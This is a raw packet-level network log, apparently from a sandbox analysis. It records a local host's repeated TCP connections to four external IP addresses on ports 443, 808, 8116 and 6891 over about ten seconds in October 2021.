Oct 28, 2021 04:58:02.570838928 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:02.570916891 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:02.570919991 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:02.570987940 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:02.574436903 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:02.574465990 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:02.766282082 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:02.767570972 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:02.827249050 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:02.827380896 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:02.828815937 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:02.888236046 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:02.901067972 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:02.901098013 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:02.901236057 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:02.910237074 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:02.927395105 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:02.927536964 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:02.928477049 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:02.970412970 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:02.970511913 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:02.995630026 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:02.995762110 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:03.055043936 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:03.055646896 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:03.089015961 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:03.090765953 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:03.090859890 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:03.225929022 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:03.225951910 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:03.226011992 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:03.226052046 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:03.284512043 CEST	49755	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:03.344036102 CEST	8116	49755	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:03.461708069 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:03.622683048 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:03.622946978 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:03.623099089 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:04.012294054 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:04.012398958 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:04.022692919 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:04.022754908 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:04.022861004 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:04.023691893 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:04.023724079 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:04.173293114 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:04.173316002 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:04.173331976 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:04.509588003 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:04.509691954 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:04.512072086 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:04.512087107 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:04.518265963 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:04.518289089 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:04.518413067 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:04.518423080 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:04.555634022 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:04.555655003 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:04.555706978 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:04.555742025 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:04.558799982 CEST	49756	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:04.693594933 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:04.719640970 CEST	808	49756	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:04.859237909 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:04.863053083 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:05.104443073 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:05.206383944 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:05.206461906 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:05.206547022 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:05.206585884 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:05.214574099 CEST	49758	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:05.214644909 CEST	443	49758	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:05.270028114 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:05.271171093 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:05.273418903 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:05.280855894 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:05.394721985 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:05.446624994 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:05.450158119 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:05.487930059 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:05.488070965 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:05.557032108 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:05.557214975 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:05.562982082 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:05.653415918 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:05.653444052 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:05.725342989 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:05.725429058 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:05.725663900 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:06.031616926 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:06.037389040 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:06.037589073 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:06.037714958 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:06.037739992 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:06.037844896 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:06.037883997 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:06.042510986 CEST	49759	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:06.194248915 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.199738026 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.199881077 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.199911118 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.199925900 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.199942112 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.204246998 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.208163977 CEST	6891	49759	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:06.252187014 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.252362967 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.282242060 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.330682993 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.341047049 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.341068983 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.341152906 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.341186047 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.351461887 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.399985075 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.400094986 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.400902987 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.401026964 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.448431015 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.448646069 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.579912901 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.579940081 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.580102921 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:06.580166101 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:06.588753939 CEST	49760	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:06.636445045 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.636466026 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.636579037 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.639925957 CEST	49761	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:06.688687086 CEST	8116	49761	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:06.717256069 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:06.751020908 CEST	808	49760	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:06.824523926 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:06.824579000 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:06.824727058 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:06.825989962 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:06.826010942 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:06.883585930 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:06.883716106 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:06.884958982 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.051625013 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:07.051723003 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:07.051832914 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.052545071 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.058573008 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.058705091 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.225013018 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:07.225044012 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:07.343314886 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:07.343403101 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:07.344098091 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:07.344120979 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:07.361857891 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:07.361888885 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:07.362014055 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:07.362030983 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:07.604027987 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:07.604065895 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:07.604147911 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.604192019 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.610224009 CEST	49762	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:07.729768038 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:07.776729107 CEST	6891	49762	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:07.781809092 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:07.781992912 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:07.782823086 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:07.834636927 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:07.834892035 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:07.834992886 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:07.835585117 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:07.842849970 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:07.843113899 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:07.894870043 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:07.894913912 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:08.072490931 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.072561026 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.072619915 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.072664976 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.076298952 CEST	49763	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.076329947 CEST	443	49763	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.078463078 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:08.078499079 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:08.078583002 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:08.078620911 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:08.086890936 CEST	49766	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:08.138942003 CEST	8116	49766	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:08.218852043 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.218910933 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.219010115 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.219604015 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.219620943 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.257726908 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:08.417268991 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:08.417418957 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:08.418086052 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:08.578771114 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:08.578794956 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:08.579581976 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:08.579868078 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:08.584157944 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:08.584283113 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:08.739197016 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:08.743624926 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:08.743664980 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:08.743700981 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:08.745544910 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.745635986 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.746258974 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.746273041 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.750643015 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.750658989 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:08.750796080 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:08.750807047 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:09.126133919 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:09.126163006 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:09.126247883 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.126287937 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.131223917 CEST	49768	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.242582083 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:09.290674925 CEST	808	49768	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:09.410830021 CEST	6891	49769	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:09.410964966 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:09.411573887 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:09.463922024 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:09.463999033 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:09.464013100 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:09.464067936 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:09.470288992 CEST	49767	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:09.470330954 CEST	443	49767	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:09.582266092 CEST	6891	49769	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:09.582298994 CEST	6891	49769	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:09.582381964 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:09.584105968 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:09.587991953 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:09.588084936 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:09.591887951 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.755522966 CEST	6891	49769	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:09.756494999 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:09.756656885 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.757304907 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.919915915 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:09.920114994 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:09.920223951 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.920691013 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.924916029 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:09.925041914 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:10.083311081 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:10.087634087 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:10.087652922 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:10.087661028 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:10.149399996 CEST	6891	49769	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:10.149426937 CEST	6891	49769	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:10.149542093 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.149590969 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.151664972 CEST	49769	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.272645950 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.318051100 CEST	6891	49769	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:10.326178074 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.326344967 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.327297926 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.380532980 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.380743980 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.380882025 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.381556034 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.387028933 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.387168884 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.440514088 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.441229105 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.480580091 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:10.480602026 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:10.480762005 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:10.480824947 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:10.486680984 CEST	49770	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:10.603924036 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.640954018 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.640980959 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.641150951 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.641231060 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.649552107 CEST	49771	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:10.649638891 CEST	808	49770	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:10.703048944 CEST	8116	49771	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:10.769483089 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:10.769618034 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.772578001 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.775283098 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:10.775322914 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:10.775454998 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:10.776227951 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:10.776276112 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:10.937916040 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:10.938008070 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:10.938116074 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.938601971 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.946779013 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:10.946937084 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:11.112404108 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:11.112443924 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:11.263528109 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.263633966 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.264211893 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.264221907 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.268584967 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.268599987 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.268753052 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.268760920 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.490716934 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:11.490741968 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:11.490920067 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:11.490972042 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:11.503684044 CEST	49772	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:11.623419046 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.668993950 CEST	6891	49772	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:11.673145056 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.673316002 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.674165964 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.722965956 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.723200083 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.723285913 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.723995924 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.729866982 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.729989052 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.779834032 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.780040026 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.780476093 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.780796051 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.949275970 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.949325085 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:11.949420929 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:11.949502945 CEST	49774	8116	192.168.2.6	185.56.219.47
